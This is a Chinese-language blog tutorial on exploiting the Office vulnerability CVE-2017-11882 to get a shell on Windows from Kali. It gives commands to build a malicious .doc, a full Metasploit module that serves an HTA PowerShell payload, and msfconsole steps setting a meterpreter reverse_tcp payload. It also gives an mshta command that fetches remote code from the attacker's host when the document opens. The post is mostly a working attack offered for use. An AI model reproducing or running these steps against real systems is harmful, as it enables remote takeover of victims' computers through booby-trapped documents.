office漏洞利用--获取shell

  环境:

  kali系统, windows系统

  流程:

  在kali系统生成利用文件, kali系统下监听本地端口, windows系统打开doc文件,即可中招

  

  第一种利用方式, 适合测试用:

    从git下载代码:

运行下面代码

git clone https://github.com/Ridter/CVE-2017-11882

    执行以下代码, 会在当前目录生成一个doc:

运行下面代码

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

    会生成一个test.doc文件, 如果有漏洞的电脑打开这个文件, 就会弹出一个计算器;

  第二种利用方式, 反弹获得shell:

  kali系统准备:

  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/cve_2017_11882.rb目录(要注意代码缩进哦):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
  
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  
  
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

  在命令行启动msf的服务:

运行下面代码

service postgresql start

  再启动msf:

运行下面代码

sudo msfconsole

  重新加载所有模块:

运行下面代码

reload_all

  查找我们刚刚新建的cve_2017_11882模块:

运行下面代码

search cve_2017_11882

  加载这个模块:

运行下面代码

use exploit/windows/smb/cve_2017_11882 

  使用反弹shellcode, 配置本机地址,  配置uri地址

运行下面代码

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit

  生成漏洞利用文件test1.doc

  实现使用ifconfig查到当前计算机IP,然后在clone下来的项目下执行以下命令, 当前系统下回生成一个test1.doc文件:

运行下面代码

python Command109b_CVE-2017-11882.py -c "mshta http://192.168.0.108/aaaa" -o test1.doc

  (注意,aaaa这个名字和msf的 uripath是一样的, 不能乱写)

  把生成的test1.doc 放到window系统执行, msf就会返回一个shell

  相关资源:

  POC的项目地址:https://github.com/Ridter/CVE-2017-11882/

  python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

作者: NONO
出处:http://www.cnblogs.com/diligenceday/
企业网站:http://www.idrwl.com/
开源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830 

本文作者:方方和圆圆

本文链接:https://www.cnblogs.com/diligenceday/p/7898839.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   方方和圆圆  阅读(1888)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?
历史上的今天:
2014-12-11 angularJS中-$route路由-$http(ajax)的使用

再过一百年, 我会在哪里?

点击右上角即可分享
微信分享提示
💬
评论
📌
收藏
💗
关注
👍
推荐
🚀
回顶
收起